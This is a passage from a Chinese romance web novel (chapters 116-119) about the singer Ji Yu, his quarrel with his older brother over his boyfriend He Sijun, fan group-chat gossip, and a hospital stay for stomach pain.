“纪律!我告诉你,我和你是平等的,生我的是爸妈,我现在完全可以不听你讲话也不用管你在想什么,但是我还是告诉你我恋爱了,这是因为我尊重你!你只要知道我在谈恋爱就好,你没有立场也没有理由对我的恋爱对象指手画脚,就算我和一头驴一头猪在一起你也管不着!” 他喊完眼神偏了一下,一杯水就倒好递到他嘴边,纪羽喝了两口,很满意贺思钧的懂事,对着纪律抬了抬下巴。 “而且贺思钧很好,我现在喜欢他比喜欢你还要多得多,他是我男朋友就不代表他低你一等,你不能不尊重他,这样显得我们家很没有教养。” 纪羽说完,看到纪律的面部肌肉痉挛般跳动着,眼珠僵住死死抓住他,让他后背毛毛的。 “你把最后那句话,再说一遍。” 纪羽眨了眨眼,简略道:“你这样很没有教养?” 第116章 “你为了他这么和我说话?” 一个天大的笑话。 纪羽在为谁和他争吵, 为他自己,还是为了贺思钧? 虚弱的平衡被打破,纪羽再次暴露他的尖牙利齿, 却不为自己虚张声势。 他们之间是平等的? 那感情又是怎么被量化直至分出一个高下。 他有必要提醒纪羽:“是我养了你,爸妈给你喂过几次饭, 你从爬到走都是谁牵着你,你每一天上学,又是谁送你?因为我不支持你和贺思钧恋爱, 你就什么话都能说得出口?” 好像是真的因为纪羽的态度受伤, 纪律头一次在外人面前失态。 纪羽被这几声连问打得发懵,嘴巴比脑袋快:“我不是这个意思, 你干嘛要和我吵!” “我和你吵?”纪律从胸膛里挤出几声闷笑, “我作为你哥,我连过问几句的资格都没有了?” “这本来就是我的生活……”纪羽说, “我也没有干涉你怎么样, 以前怎么样那都是以前了,我不需要你照顾我一辈子啊, 你也可以去做你想做的的事, 你去国外继续念书,去随便哪一个地方工作, 那都是你的自由,我已经不是小孩子了, 我不会再想你陪在我身边, 你不是在和我吵架难道是在关心我吗, 我们根本就不是这种关系了!” 纪律的年少青春已经过去,纪羽的童年也悄然度过,奉献和索取, 互进互出,就算扯不平,也不该再牵扯不清了。 “我们就假装和好,谁也不要多管闲事,不行吗?” 明面上这场争吵是因贺思钧而起,但贺思钧一句话也插不上。他看着纪律的面色从青到黑,燃烧的火苗不待蔓延就被纪羽一瓢水泼灭。 纪律说:“你还在怪我。” “怪你什么?”纪羽掐灭了话题,“我没什么要怪你的了,我现在过得很好,我很感激你当时救我,所以我尊重你啊。” 纪羽知道就算他当时要的不是造血干细胞,是纪律的器官,他也会捐。纪律无论如何都会救他,这一点纪羽很清楚。 但过剩的感动并不必要,纪羽压下它,尝试用更“纪律”的视角看待他们的关系,效果很好,他们都获得了应有的平静。 他很满意。不再和纪律一起生活,身体基本回归健康,至少没有威胁性命的急病,他有能力处理好自己的工作,也可以给朋友拉把手帮帮忙,贺思钧也平平安安回来了,这不是最好的状态了吗? 所以他不要和纪律无休止地争论了,他放下对纪律的执着,不强求纪律理解他,就算他们的血缘再亲近,思维也永远不能贴近,纪律比他多活十年,应该更明白才对。 “我承认我有说难听的话故意气你,但也是因为你的态度真的很不好。” 纪羽倒退两步,回头问贺思钧:“你资料办好了没?” “好了,剩下的可以线上操作。” “那我们今天就走,你去拿东西,快一点。” 声音不大不小,刚好够纪律听清。 但纪大律师还是问了那一句废话:“你要走?” 纪羽回过头,置气地说道:“嗯。反正我在这儿也不受欢迎,我回我自己的家谁也管不着。” 贺思钧上楼收拾行李,他提包就能走,主要是拿纪羽的衣服、配饰和日常药物。 纪律用力地闭了闭眼,深呼吸说道:“这就是你的家。” 纪羽拉开餐桌椅反坐着,也不说话,胳膊交叉垫着椅背上,下巴埋在手臂间。 “这几年他联系过你没有?” 纪律搬过椅子在他身前坐下,看着对方的眼睛说话是从小纪羽就被教育的礼仪。 纪羽的声音慢吞吞:“不管你相不相信,反正我是才决定和他在一起,你就当我们是罗密欧和朱丽叶一见面就爱得要死要活吧。” “……”纪律想起四年前他看着贺思钧爬下露台那一声调侃,后脑勺像被什么东西打中似的闷痛,“他有什么值得你喜欢的?他什么都给不了你。” 屋外的风突然大了起来,团团堆聚的白云蒙了层灰纱遮住了日光,纪羽没开灯,屋内的光线顿时弱了下去。 “你照顾我是为了以后让我给你养老吗,爸妈生下我是想我赚大钱回报他们吗。”纪羽用陈述的语气说着问句,“我必须要从他那里拿到什么才可以喜欢他吗,他很喜欢我算不算,因为他很喜欢我,所以我喜欢他,这算不算值得?” 从小起,纪羽就有着最天真的想法和最敏锐的感知,纪律总在补足在他看来纪羽过于跳跃的思维线。 比如纪羽喜欢在车里等他放学是因为接人回家这件事是大人会做的事,但留在车里是不喜欢被其他家长围住问他几岁了夸他好懂事。 纪羽在不明白他为什么喜欢又为什么讨厌的时候就先一步有了体会并做出反应,所以纪羽在无知无觉的状态下受到伤害是不存在的情况。 纪律明明都知道,只是他不想承认。 贺思钧和纪羽的相处不比他少,他们更有话可说,是知根知底的朋友,难道纪羽还看不清贺思钧是个什么样的人需要纪律提醒吗? 继纪羽之后,纪律成为了那个在他们之间揣着明白装糊涂的人。 夏季的雷暴雨大多是阵雨,急匆匆地落下雨点子又急匆匆地散开,纪羽和贺思钧出门时天又放晴了,贺思钧没忘了撑伞,顺便把纪羽的几个西瓜提上。 坐上高铁的时候,纪羽想起来:“我忘了和纪律说要把门窗关好了。” 贺思钧突然什么都知道的样子,说没有贼了,纪羽问为什么,被他抓住了吗,比了一个擒拿的动作。 贺思钧很想亲他,碍于公共场合,什么也没做,说:“是被家里的猪偷走了。” 养儿防老养儿防老,养一个败家的儿子防止自己过得太舒心,在成为老头老太太前就气死算了。 那家“遭了窃”的人家撤了案,前两天就搬了家走,纪羽听了很无语,说:“真是什么人都能当儿子!” 贺思钧撑了一路,到了公寓里就开始亲他。 “我的嘴巴上有什么吗,总是亲亲亲亲亲,你不腻吗?” 贺思钧把他抱在腿上,用一条手臂揽着他的腰,牙齿啃在他嘴角:“很可爱。” 无论纪羽说什么都很可爱,嘴巴一张一合就说出他想不到的话来,凑近了尝一尝发现比看上去还要讨人喜欢…… 不止想咬嘴巴。 二十一年平平的食欲隐匿而迅速地涨大。 “我想用钱买一辆车。” 开始说正事就是亲完了,纪羽靠在他肩上玩手机:“你买呀,我都说你别把钱都转我这儿了。” 每次出去买点什么,贺思钧还要向他打申请,多了还不要。 “过段时间还给你。”贺思钧出了新招式,手掌包住他的手腕,摸一下又摸一下。 公寓里沙发买得不大,但纪羽躺上去也能打个滚,多了个贺思钧却显得很窄很小,必须要两人重叠起来才能坐得开似的。 “你再碰我就坐到地上去!”纪羽在回导师消息呢,今年他就得开始准备论文了,贺思钧个高中肆业生还总打搅他,“在你成绩能恢复六百五之前都不许亲我。” 贺思钧愣住了,纪羽顺势从他身上翻下来,踢了他后腰一脚:“快去做题吧。” 此时距离高考还剩十个月,贺思钧自测模拟卷总分424。 8月,纪羽去富平巡演,坐上了贺思钧买的新车,辽光嚷嚷待遇不公申请维权,凭什么公司没给他安排保姆车,扭头就见消失了三年的贺思钧从驾驶座下来。 纪羽推墨镜:“你让他也给你买一辆。” 演唱会筹备周期长,承风暂时把时间定在了纪羽毕业后,好在纪羽已经确定拿下了保研名额,也不必受学院实习指标的压力找工作,总体算是轻松。 【就爱吃寡妇(1000)】 【雀雀乐:喜报,听知情人士爆料,演唱会指日可待了!】 【他就是女的怎么了:感天动地,谁知道我等了多少年?】 【番茄我是你爹:我从十八岁少男等到雄风萎靡了知道吗,三年啊,这可是三年啊,我等体育场已经等了三年了!】 【嫂子开门我是我哥:场馆那么大,我还怎么用遥控控制他[哭哭]】 【赤壁势在必行:宝宝你就放心地飞吧,我立刻安排人在全国演出场地拆除空气循环系统,必须让看台的人也能闻得到你的体香!】 【每天一杯奶茶:知道你上次坐剧院前排了[发怒]每天都说香,到底什么味啊!】 【天晴了我擎了:我知道,像树莓的那种味道,有一点青草味,有人说像番石榴,我个人觉得更偏酸调,很提神,后调甜滋滋的。】 【赤壁势在必行:[捂嘴哭][捂嘴哭]没错,就是如此极品,勾引得本攻攻夜不能寐,真是扫货!】 【不想谈心:前几天接机问了,说用的香根草味的柔顺剂,演出服会洗一遍之后再穿,超爱干净O3O】 【他就是女的怎么了:如此之萌,好贤惠,谁再调戏我的老婆试试呢!】 【嫂子开门我是我哥:[吐]衣服穿上身之前就脏了吧,谁干的站出来!】 【雀雀乐:嗯……你们发没发现最近宝宝状态很不错吗,去年夏天还吃不下饭瘦了一圈,今年气色特别好,脸上都有肉了……】 【不想谈心:嗯……】 【番茄我是你爹:啥意思,三年守寡期满了???】 【每天一杯奶茶:啊哦。】 第117章 起因是一场聚会录像, 纪羽第一次正儿八经喝了酒。 从前承风日子过得紧巴巴,论箱上的啤酒在纪羽记忆里总有股强烈的酒臭味。 这会儿不一样了,明亮整洁的大包间里, 铺着羊皮桌布的餐桌上倒几杯腔调十足的红葡萄酒,鼻尖里满溢着酸甜果香。 纪羽喝一口, 脸皱成一团。还是苦。 但镜头对着,不好也不能直白说,更不能吐, 辽光又坏心眼地干杯再干杯, 纪羽每次只抿一点点。 挺神奇,喝着喝着就忘了酒是什么味道, 得再尝一点才想起来, 咽到肚子里,又不记得了。 喝完一杯又要了一杯, 老麦和曲坚不知道因为什么吵起来, 辽光还在一旁拱火,纪羽没人管, 自己给自己倒酒, 倒是半点没上头,新来的拍摄助理夸他酒量好, 纪羽高深莫测地哼哼笑。 贝旬打完电话回来,醒酒壶都空了, 纪羽睡在椅子上。 贝旬蹲下身拍他, 纪羽眼睛没睁, 身体扭来扭去,在椅子上费劲扑腾。 没办法,怕他掉下去, 只能把他手箍着,托着人坐起来喝点茶醒一醒。嘴唇抵上茶杯,纪羽啪地睁开眼,眨了半天眼才对上焦似的,拉着贝旬喊。 喊什么,好像谁的名字,应该是姓贺,说他死哪去了,跑来他梦里想道歉,门都没有。 又踢又打的,发起酒疯来,四个人架着他才按住,上到车里又可怜巴巴没骨头似的瘫倒座位底下说要吐,抱着袋子先嘀嗒下来的是眼泪。 以前跟着阿雀的朋友好像就叫小贺,没在镜头前露过面,唯一一次出现是在偷拍的视频里抱起瘫软的纪羽,似乎也成了最后一次。 后来也没听说他再跟着纪羽,不知道是闹掰了,还是像纪羽说的那样,不知道死哪儿去了。 虽然不想真的承认阿雀和他有过一段,但死丈夫的设定实在是香,粉丝心疼一下顺便爽一爽怎么了? 【老公还是死的好[禁止外传聊天记录](37)】 【不想谈心:我觉得是真谈了,绝对有狗!】 【每天一杯奶茶:新采访片段完全大小姐来着,主持人问题特别白痴,换以前绝对不会像现在这么直接跳过,谁把他脾气惯大了?】 【雀雀乐:[图片]】 【雀雀乐:每次都是这辆车来接,还以为承风起飞了都开始坐保姆车了,结果只接了宝宝一个人,车上肯定藏了人T.T】 【一月薪资三千五:我还押了贝旬五年内能……】 【不想谈心:你到底要给贝旬多少次机会[发怒]宝宝对他纯友谊!】 【天晴了我擎了:应该是熟悉的人吧,六月份还没征兆来着,应该就这两个月发展上的。】 【不像谈心:我也是这么想的,但脑子里想了一圈都没想出来人选……】 【每天一杯奶茶:圈外人吧,可能是大学认识的?不过爬南华大学论坛没发现有和宝宝走得近的人。】 【天晴了我擎了:不会是死老公复活了吧?】 【雀雀乐:别说鬼故事[微笑]】 【一月薪资三千五:这是我最不想看到的情形[微笑]】 【不像谈心:宝宝你不是娇妻吧,不要对火葬场出来的男人心软好吗[祈祷]】 【不想谈心:[祈祷]】 【雀雀乐:[祈祷]】 【每天一杯奶茶:别到大群里说[祈祷]】 南华大学自习室。 “贺思钧,你是恋爱脑发作了吗,你就考这点分数,你别和我坐一起了,我怕被你传染变笨!” 纪羽把试卷一股脑丢在桌面,纸张轻飘飘没重量,散得到处都是。 他提前预约了好久抢到的独立自习室,带贺思钧一起过来,结果贺思钧就把卷子做成这样糊弄他! “别生气,小羽,我重新做。”贺思钧从地上捡起卷子叠好。 “重新做不还是一样,你重新做就能全对了?”纪羽心浮气躁,出了一身汗,心情更糟,“你不是说要和我考一个大学吗,你现在这样怎么考啊,你都比我晚了三年了,明年考不上后年再考吗,你现在是不是觉得有的是时间可以慢慢来了?” 贺思钧当年的成绩多好啊,就比他差点,如果和他一起参与高考,就算不能在南华一起上学,那也是可以在附近挑一所大学上。 虽然纪羽也不觉得上了大学就比不上大学的人高出一等来,只是贺思钧本来可以得到的东西就这么轻易地没了,想挽回也挽回不了,他心里就是会气愤。 他明明也不想对贺思钧发脾气,他知道贺思钧也累,一颗心掰成三瓣用,前不久才刚注册了公司有一堆事要处理,又要抽出时间把六门科目捡起来从头复习,他们两个人在一起的时间他也不愿意压缩,总是要纪羽闭眼睁眼看到的第一张脸就是他。 纪羽说不用管他,贺思钧就是不应声,愣头愣脑的和他十七岁时一模一样! 这下纪羽纪羽心里更烦了,他不知道自己是希望贺思钧像以前一样还是不一样,他到底喜欢这倔种什么了?! “不许碰我。”纪羽警告贺思钧,转过椅子不让他用纸巾给自己擦汗。 贺思钧有椅子也不坐,就蹲在他边上,说:“是因为我没做好你才生气吗,我让你失望了?” 纪羽情绪上来的时候想什么都是拉倒没救,一旦自己转过弯来就想自己好像也很坏。 冷静了一会儿纪羽就觉得刚才话说重了,贺思钧这么一说他又琢磨是不是他太着急了,贺思钧毕竟三年没接触学习了,进度慢一点也很正常。 仔细想想,他从前几天开始情绪就不好了,不能都算在贺思钧头上。 余光瞥到贺思钧的脸,难过又一次上头,刚刚是不想说,现在是说不出来了,五脏六腑就搅成一团,沉重地下坠,他转过去面对贺思钧,嘴角下撇:“没有,我…我不应该发火,不都是你的问题。” 纪羽眼睛抬起来又飞快落下,眼里没含泪,但鼻头眼眶都红了,可能是情绪激动热的,但落在贺思钧眼里就是委屈得要命。 他把纸巾折好给纪羽吸脸上的汗:“是我的问题,别让我的错让你自己不高兴,我尽快调整过来,不会再让你替我着急了。” 纪羽嗓子干涩,挤出来的声音也干巴巴的:“不是你的错,我没想怪你,对不起。我不想你比别人差……我没有说你现在很差的意思……” 纪羽难受死了,嘴巴微微抿着有点嘟起,贺思钧已经很久没亲他了,这会儿很想把他的嘴巴吞进肚子里让他再也说不了这些有的没的。 纪羽要他坐下来,他没听,把人抱了起来托在怀里,脑袋上挨了一巴掌。 对上贺思钧充满侵略性的眼神,纪羽抖了一下:“是你不听话,在外面突然抱我就是要被打,一码归一码。” 自习室虽然隔音,但门上的玻璃是半透明的,要是有人贴着向内看,还是能看出里边发生了什么,纪羽才不想成为各个校园墙上传的那些野鸳鸯。 更何况他很有名。 贺思钧像是知道他怕什么,抱着他走到门边,后背抵住了门,低下头亲他,纪羽嘴巴都闭不上,贺思钧还有空说话:“不要说对不起,你无论什么时候都没有错,不要向我道歉,你怎么样对我都可以。” 纪羽气都喘不匀,想到底是谁想对谁做什么都行啊? 贺思钧还有点理智,挨了两脚就把纪羽放下来了,挨着纪羽重新开始做题。 纪羽哪里还肯在这里待,谁能保证贺思钧待会不会故技重施,他吃了化肥长的个头纪羽怎么反抗得了,收拾了东西就要回家。 路程没走一半,车就在路边打着双闪停下,车门一开纪羽脸色苍白全身冒虚汗就倒了下来,对着绿化带吐了满肚子酸水,主动要贺思钧抱他。 这时候再贴着抱也生不出任何旖旎情愫来了,贺思钧贴着纪羽后腰的手摸到一阵冰凉,纪羽脸色惨白,汗起了一层又一层,都是冷汗。 再弓着腰也吐不出什么,纪羽头一歪栽在贺思钧肩头,哽咽道:“我要去医院……” 纪羽没想过胃疼会那么难受,疼得很清醒,痛点很集中,想昏也昏不过去,只能硬熬到医院。 “止疼已经上了,放松点。”护士说。 纪羽眼前黑黑白白,蜷缩得像个虾米,上腹的器官还是在痉挛跳动,贺思钧的手罩着那儿不让他碰,纪羽急得想哭,又记着这不是在家,憋着眼泪,睫毛一绺一绺地糊得乱七八糟。 “确定是第一次有这种状况?不应该啊,这几天肯定有症状的,是不是比较轻没注意呢?” 贺思钧一面应着护士的问题,一面关切着纪羽的状态,纪羽疼得半个字儿都说不出来,眼睛半睁着,头发都被汗湿了。 他哪里没症状,他就是不舒服才情绪不好,就是他以前全身疼的时候多了,对疼痛的耐受力也高不少才没有大的反应。 纪羽从前是很怕疼的,从台阶上跳下来也要说脚痛,坐得久一点就说屁股要死掉了。 纪羽心情不好怎么会没有源头呢,要分清楚他是饿了、困了还是因为谁的问题不高兴,又或是哪里难受,贺思钧很抱歉,他竟然相信过多的关注对三年后的纪羽是种束缚。 第118章 因为纪羽病史复杂, 还需要做详细检查才能排除隐患,所以纪羽只能在病房住下。 南华医疗资源紧张,贺思钧加钱也没用, 纪羽还是得和其他人住一间。 “你把帘子拉上干嘛呀,我都看不到窗了。”止疼起效了, 纪羽恢复了精神,觉着自己没什么事撑着床想下地,他小声说, “这还是我第一次有病友呢, 和人打个招呼呀。” 贺思钧手掌包着他肋间将人抱回床头:“不是说出了汗不舒服吗,我打点水拿毛巾给你擦一擦。” 纪羽眼睛一眨, 乖乖哦了一声就靠回枕头:“那你快点回来。” 贺思钧点头, 掀开帘快步离开。 病房里配了热水壶,贺思钧心底抵触给纪羽用别人使过的东西, 到住院部超市重新买了生活用品才回去。 他走路快, 一步顶人三步,电梯门还没关, 他走步梯已经上了三楼。 等热水花了点时间, 一来一回花了近十分钟,再回来纪羽的病床空着, 人已经坐到了隔壁病床的陪护椅上。 隔壁病床是个三十来岁的女人,瞧着很面善, 住进来有些日子了。 不知道说了什么, 纪羽眼睛睁得溜圆, 眼尾的弧度都拉平了,连贺思钧回来了都没发觉:“真的呀?还会有感觉啊?” 女人说:“是呢,难受得不得了, 生理反射忍不住的。诶,你哥哥回来了。” 纪羽回过头看贺思钧,虽然见他面色平静心里还是有点打怵,不过也没忘记纠正:“我比他大,我才是哥哥。” 女人抬高音调:“喔!看不出来!” 纪羽和她又说了两句才起身,贺思钧朝女人点点头,将帘子再度拉上。 伸出手指点了点水面,纪羽说:“晾了一会儿温度正好。” 贺思钧拧干毛巾,托起纪羽下巴擦拭脖颈,纪羽仰着头,伸长脖子,异样的乖巧,说话的吐息吹动贺思钧长长了不少的头发。 “我和华姐说我们俩是兄弟,你不要露馅了。” “嗯。” 纪羽皮肤嫩,毛巾不用贴上去,热气儿就把皮肤熏红了。贺思钧放轻了动作,弄得纪羽痒痒。 纪羽:“你用点力呀,都没擦干净。” 贺思钧:“本来就是干净的。” 纪羽:“其实我直接洗澡也没关系,我刚刚看了卫生间挺干净的,华姐说每天都有人来打扫。” 等了一会儿也没听到贺思钧回复,纪羽踹一脚,贺思钧腾出手来握住他脚腕:“不动,我加点热水。” 纪羽装了这一会儿也快装不下去了,脾气漫上来:“我刚刚给你说话听没听见?” 毛巾沉入盆底,贺思钧低着头看不太清表情,忽然脚腕上湿湿凉凉,纪羽一惊,低头一看。 好险,不是眼泪,是贺思钧的嘴巴。 纪羽压低了声音:“你在干嘛?!” 贺思钧面不改色,好像刚才的举动不是他本人做出的:“刚刚走神了,小羽再说一遍好不好?” “你发烧了吗?”纪羽俯身贴上贺思钧的额头,“好像是有点烫。” “你出了汗体温太低了。”贺思钧撤开身。 纪羽没想到贺思钧会先移开,前段日子只要两人上身距离在一米以内,贺思钧就会想方设法把嘴巴贴上来。 现在怎么不亲,刚刚在自习室不是亲得很起劲? “不要你擦了,没听见就算了。”纪羽心里不舒服,倒回去想缩进被子里,忘了自己脚腕还在人手心里攥着,动作拉伸得太过,小腿肌肉没反应过来,瞬间僵硬得像块铁板。 纪羽胸口那口气还没喘匀就被突如其来的剧痛打断,咳嗽也没劲,膝盖以下抽搐得厉害,转瞬又是满背的冷汗。 贺思钧的声音显得很模糊,像耳鸣。“腿伸直,没事的,别紧张,对,你抓着我,我给你揉开就好了,别憋气。” 纪羽上身被抱起来,托着他小腿肚的手掌能整个包住那硬块,贺思钧的体温很高,天然地适合热敷,疼痛来得快,去得也快。 纪羽精疲力尽,也不管身下垫着是什么,埋着脸咳嗽,恍惚间帘子被拉开,听见了护士的声音。 好像是华姐以为有什么事,按响了呼叫铃,纪羽觉得丢脸,埋着头没吭声。 胃又有点痛。 纪羽有好些日子没生过病了,住院更是两年前的事,那会儿他发高烧好久都没退,纪泽兰眼睛红了一周没消,都以为他是要复发了,但过了几天他自个儿就好了,顶多偶尔有点不舒服但也很快就好了。 噢还有一次,是被红火蚁咬了,但那是意外,不算。 这一回紧急入院,他确实吓着了,听医生和贺思钧说怀疑是内脏出血时,他还装睡着,贺思钧摸他的头发摸了好久他都没出声。 贺思钧也不好受,三年前配型,他和贺思钧也配上了,全相合,但纪律才是最佳人选,贺思钧当时和他说对不起。 人能有几个十八年?总听人说遇见什么时期结交的人,就会回到什么阶段,那二十一岁的纪羽和贺思钧再见面,也会回到十八岁那个最疲倦最困惑的时期吗? 可他们相熟,又不止十八岁那一年,是共同跨越了人生中点的玩伴、朋友、亲人…… 但对于贺思钧来说,这个中点始终差了一截,所以才会让他显得不安定吗? 久别重逢,摒弃前嫌,你情我愿,不是已经迎来结局了吗,贺思钧在担心什么? 朋友、亲人、爱人,是哪一个环节出了错。 是二十一岁的纪羽仍然没做好进入新的亲密关系的准备吗。 纪羽不知道了。 “小羽?”贺思钧在耳边叫他,纪羽轻轻地嗯了一声,又想起来:“说了不要被发现了。” 哪有叫哥哥小名的? “没关系,他们出去散步了,听不见。” “走了?”纪羽抬起脑袋,视线和贺思钧黑黢黢的眼珠对上,贺思钧:“嗯。” 纪羽咳嗽两声:“那我们来算算账吧。” 贺思钧又:“嗯。” “不许嗯,你从现在开始就只能对我说好的,知道了,我懂了。” 贺思钧重新说:“好的,我懂了。” 听起来好像更怪了,但纪羽决定暂时先这样,他没力气乱动,也怕又来一场抽筋,反正坐在贺思钧身上也不影响他的发挥。 “你要不要去看看心理医生。”纪羽直接道。 贺思钧落在他身后的手臂紧了紧,问:“小羽觉得我有问题吗?” 纪羽:“有。” 贺思钧的眼睛有一瞬晦暗,却很快答应下来:“好,等你好了,我去预约挂号。” 很听话,纪羽给了他安慰:“我不是说你和纪律一样不正常,我就是想,你是不是有点阴影,你看着我的脸说话。” 纪羽冰凉柔软的手掌托起他的男人的脸,手心不大,但手指很长,几根指头上还有茧。在脸上滑过先是顺滑,指尖触及时的酥痒像是调情的逗留。 此时只有像云一样的绵软,轻轻地捧起,贺思钧自觉地发力,却被纪羽扯了一把耳朵,“干嘛那么紧张。” 纪羽眉头疑惑地蹙起,眼睛上翘的弧度让他看起来很有精神,但脸和唇都是淡色的,如纸般脆弱。 “你亲我的时候不是这样的。” 因为那不一样。贺思钧没有说出口。 “你害怕我吗,”纪羽说,“怕我不小心死掉?” 贺思钧的眼神一瞬间凌厉:“你已经治好了。” “在你心里好像还没有,是因为你走的时候我还在医院里吗,你不知道我好得有多快吧。” 纪羽有点得意:“我只在隔离仓里待了一个多月就出来了,你知道如果情况不好,可能会在里面待两个月吧,医生说我是治疗结束最早的。” 当然是最早的,因为爱山医院隔离仓里只住了纪羽一个患者。 “很厉害。”贺思钧说。 “当然。”纪羽拉着他的手去碰自己的胸口,从心脏的左侧慢慢向外移,“你不是都抱我很多次了吗,你看,这里的管子都拆了,也就刚塞进去的时候痛,后来我都没感觉了。” 贺思钧还记得纪羽和他说置管时扭起来的眉头,玻璃冰凉的触感,朦胧的白雾。 有时候贺思钧会怀疑这份记忆的真实性,会不会纪羽没有和他说话,他躺在那张病床上,闭着眼睛,没有向他瞥来一眼,没有和他说话,也没有呼吸和心跳。 这种想象是残忍的,不是对他自己而言,而是他好像在脑海里把纪羽杀害了一遍。 纪羽真的好起来了吗,之前的夏天,纪羽也病了,呼吸微弱,后来呢,后来好像是好了,但如果都好了,又怎么还会在病房里。 他没有亲眼看到,也不能确认消息的真假,沙漠里偶尔有海市蜃楼,其实很罕见,但很多人都说见过。海市蜃楼是真实存在的投影,但幻觉是空中楼阁。大脑是会骗人的。 眼睛也会。 纪羽在他面前,和他说话,用一种特别的眼神看待他。明明他犯下了很多错,自以为是的让步是为纪羽好,还是他被隐秘的深藏的担忧占据而不断地后退,离纪羽更加遥远? “你要说话啊。”幻想的纪羽在和他说话,空荡的领口下清瘦的脊背一览无余。 嘴唇传来刺痛,还有小动物般轻轻的舔舐。 “你再走神就不亲了。” 贺思钧俯身加深了这个吻,铁锈味在喉舌间蔓延。 甜的,是真的—— 作者有话说:小鸡也是伟大的引导型恋人(不 第119章 贺思钧自我调节能力很强, 一晚上过去已恢复了常态,纪羽却是做了半宿的噩梦。 因为一早安排了胃镜,纪羽进医院起就没再吃过东西, 再加上睡眠不足,瞧着很是虚弱, 贺思钧安慰了一路,推他进麻醉监护室后脸色瞬间凝重,连带着路过的护士也小心翼翼。 二十分钟后, 纪羽进入复苏室, 人还迷糊着。 再睁眼,几个脑袋挤在天花板。“阿雀, 这是几?”“别弄他。”“怎么不说话, 这没事吧,脸唰白唰白的。”“辽光, 你安静点。” 纪羽不知道自己在哪, 像在海上,身底下摇晃得厉害, 脑袋闷闷的, 什么也想不起来了,眼神空茫。 “呆了。”辽光手欠, 从小就是爱招惹小女孩被追得满地乱跑还要嘚吧嘚吧的类型,纪羽不挠他两下他不舒坦, 顺手就在纪羽脸上轻轻捏了两下, “醒醒了。” 纪羽嗓子还疼着, 没想着开口,但脸上传来的拉扯感让他很不爽,不痛, 但就是让他很不高兴。 “打他。” “?” “!”辽光还没反应过来,肩膀一沉就从床边倒退数步,原本的位置换上了贺思钧,男人头也没回,辽光都不知道他是故意的还是有心的。 辽光:“吃什么长的,我的肩膀哎呦!” 贝旬:“麻烦你,小声点。” 辽光:“哎……哟……” 纪羽见烦人的家伙走了,心满意足地闭上眼,还想睡,又被叫醒,“小羽,醒醒,现在不能睡。” 纪羽很气愤。 纪羽把眼睛睁得像铜铃。 贺思钧想转移他的注意力,抬头问道:“你们怎么来了。” 贝旬调出照片晃了晃:“昨天有人拍到了你们在急诊的照片,粉丝群里比较着急,曲坚打你们电话没接,我刚好在附近就过来看看。” 辽光在角落:“我特地赶过来探病的,怎么样,够意思不?” 昨天事发突然,距离两人最近的医院处于大学城边缘,承风的名字在15~30岁的年龄段可谓耳熟能详,而纪羽的脸又极具辨识度,想不认出来都难。 贺思钧唇角冷硬平直,即便和承风的人认识已久,说话时仍然显得公事公办,亲近不足。 “影响怎么样?” 贝旬也淡声道:“照片发出去转载很快,后台半天没登上,不过曲坚已经联系过粉丝群管理不要扩大转载范围,等纪羽醒了发个消息报平安说一声就没什么事。” 他顿了顿,又说:“阿雀现在是公众人物,你平时应该注意点。” 贺思钧简短地应了一声。 纪羽不知听明白多少,蹙着眉心左看右看:“照片?什么照片呀?是我吗——” 刚才他话说得短,没听出来什么问题,这会儿说了整句,才发现他语调七倒八歪,像唱歌似的,辽光顿时笑得发抽。 “是你是你,还有贺思钧呢,拍得跟演电影似的,你要不要看?” 纪羽点头说要,辽光捧着手机上供似的把贺思钧挤开:“看吧,这怎么拍的呢,糊成这样还能看出来是你。” 纪羽凝神看了会儿,道:“不好看。” 辽光:“哪儿不好看了,这不挺好看的,粉丝都心疼死你了。” 纪羽伸出手指点点:“这个不好看,好黑。” “哈哈哈哈哈哈哈哈哈哈哈——!”辽光快笑疯了,把手机转过来对着贺思钧,“阿雀说你……哈哈哈哈哈!” 贺思钧没笑,纪羽眼神无辜。 辽光咳嗽两声,憋住笑:“哎你别不高兴黑脸啊,阿雀麻醉没醒脑子不清楚,不是说他故意针对你,不过我也懂,不是黑脸,你是脸本来就黑哈哈哈哈哈哈哈哈……” 贺思钧:“……” 他在外几年就晒了几年太阳,肤色不说像碳,但也比在城市里的人深了两度,更别说和纪羽待在一块,曝光落在纪羽面上,他的半张脸在镜头里就完全看不清了,平常走在一块,贺思钧就像纪羽的一大块影分身似的。 纪羽没提过这事,贺思钧也没往他很黑这方面想过,这会儿才意识到,纪羽可能不喜欢他这模样。 “还是挺有男子气概的,别伤心啊。”辽光虚情假意地安慰完,扭头就问,“来来来阿雀,看我,我和贺思钧谁帅?” 纪羽愣了半晌,辽光心底才涌起期待,就听阿雀法庭审判道:“他。” “确定?确定是他?”辽光把脑袋挤到纪羽手指边,“是不是指错了。” 纪羽不想把话说第二遍,把脸转到另一边懒得应了。 没想到会败给纪羽刚亲口指定不好看的贺思钧,辽光急于找回自信心,又蹿到移动床另一边,手指着自己和贝旬:“那我和他呢?” 想着可能会被人认出,他今天可是打扮过才来的,比起只知道穿黑t的贝旬不知道好到哪儿去! 纪羽这回话也没说,眼珠子就没往辽光身上放,贝旬被看着,嘴角缓慢地上扬。 “……”辽光心里难受,“那我和老麦,不。” 为了保全颜面,辽光换了个问法:“刚刚这些人里,你最喜欢谁啊,老麦不在,就我们三人里,你挑一个最好的。” 辽光忍不住为自己的机智点赞。 就算贺思钧和纪羽从小一起长大,但也三年没见了,指不定还在尴尬期呢,比不上他和纪羽这些年日日夜夜相濡以沫的队友情,再看贝旬,呵,他都不用看,比贺思钧还无趣的男人。 论性格,他还不是最讨喜,最受纪羽喜欢的? 辽光志得意满,在纪羽盯着他看时信心攀上了顶峰,直接把贺思钧踢出了局:“就算上老麦吧,三个哥哥里你是不是最喜欢你永光哥哥啊。” 纪羽脸色面色变换一阵,冷不丁趴在床沿干呕起来。 “我艹,我说话很恶心吗?” 贝旬越过他给纪羽顺背:“你说话能别那么油腻吗。” 贺思钧扶着纪羽的肩膀让他侧躺下,说:“应该是对哥哥两个字过敏,下次别说了。” 中间两字用了口型,纪羽晕头转向,脑子里还记挂着问题,定睛看了看贺思钧,挣扎着凑到他耳边说:“不算老麦,最喜欢你。” 气声飘忽,听着很不真切,贺思钧愣住,侧首看去,纪羽已经自己找到了合适的位置窝好。 “说什么悄悄话呢。”辽光又凑过来不知道要说什么,纪羽一把捂住他的嘴。 “我最好看,你一般,贺思钧一般,贝旬一般,老麦一般。” 反正他最好,玉树临风英俊潇洒倾国倾城花容月貌光风霁月挺拔超群,其余人都一样。 看看近在咫尺的脸,辽光心服口服:“皇上说得对——” 